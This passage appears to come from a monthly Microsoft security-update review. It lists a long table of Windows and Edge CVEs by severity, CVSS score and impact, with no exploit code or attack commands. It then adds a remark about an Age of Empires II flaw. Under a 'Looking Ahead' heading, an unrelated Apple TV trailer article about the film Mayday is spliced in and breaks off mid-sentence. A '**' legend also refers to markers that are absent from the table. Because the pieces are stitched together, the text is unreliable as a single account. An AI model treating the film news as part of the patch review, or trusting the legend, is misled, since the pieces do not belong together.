CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

No new advisories are being released this month.

Looking Ahead

Apple TV Drops First Trailer for Ryan Reynolds’ Wild New Action-Comedy Mayday

Tue, 14 Jul 2026 19:54:08 +0200

Apple TV has released the first trailer for Mayday, an upcoming action-comedy movie starring Ryan Reynolds and Kenneth Branagh. The Cold War adventure sends Reynolds behind enemy lines, where his dangerous military mission quickly turns into an unexpected survival story filled with explosions, chases and awkward humour. https://www.youtube.com/watch?v=om5Un9X720M The trailer introduces Reynolds as Lieutenant Troy “Assassin” Kelly, a confident US Navy pilot sent on a secret mission over Soviet territory. When his aircraft goes down, Troy becomes stranded in Russia with enemy forces searching for him. His only hope of survival comes from Nikolai Ustinov, a former KGB agent played by Branagh, who appears unusually fascinated by American culture. Movie: Mayday Release date: September 4, 2026 Streaming platform: Apple TV Runtime: 1 hour and 51 minutes Genre: Action, comedy, adventure and spy thriller Directors: John Francis Daley and Jonathan Goldstein Main cast: Ryan Reynolds, Kenneth Branagh, Maria Bakalova, Marcin Dorociński and David Morse What Happens in the Mayday Trailer? Minor trailer spoilers follow. The Mayday trailer begins with Troy preparing for a classified operation during the height of the Cold War. His confidence suggests that he expects another successful mission, although the situation collapses after he enters Russian airspace and crash-lands in the wilderness. Troy soon meets Nikolai, who decides to hide the American pilot instead of reporting him. Their first interactions establish the movie’s buddy-comedy style, with Troy struggling to understand whether his unlikely rescuer can genuinely be trusted. Nikolai seems far more interested in American music, food and popular culture than Soviet politics. This creates several lighter moments as the two characters attempt to communicate while soldiers close in on their location. The trailer also shows gunfights, military vehicles, snowy landscapes and several escape attempts. Troy still behaves like a fearless action hero, while Nikolai approaches danger with a calmer and less predictable attitude. Their different personalities appear to drive much of the comedy. Where Is the Story Heading? Troy and Nikolai will have to cross Soviet territory while avoiding soldiers, intelligence officers and anyone searching for the missing pilot. Their journey appears to grow into a larger escape mission as Nikolai risks his own safety to help Troy return home. The central mystery involves Nikolai’s reasons for helping an American officer. His interest in Western culture offers one explanation, although the trailer suggests that he has personal reasons for turning against the people hunting Troy. The movie also appears to build a genuine friendship between the two men. Troy begins the story as a self-assured pilot who expects to handle every problem alone, but surviving Russia requires him to trust someone he would normally consider an enemy. John Francis Daley and Jonathan Goldstein wrote and directed Mayday. The filmmakers previously worked together on Game Night and Dungeons & Dragons: Honor Among Thieves, which also combined action, character-based comedy and emotional storytelling. FAQs When does Mayday come out on Apple TV? Mayday premieres globally on Apple TV on Friday, September 4, 2026. The movie will arrive as a complete feature film, so viewers will not have to wait for weekly episodes. Is Mayday a movie or a series? Mayday is a movie with a reported runtime of 111 minutes. It is currently planned as a standalone 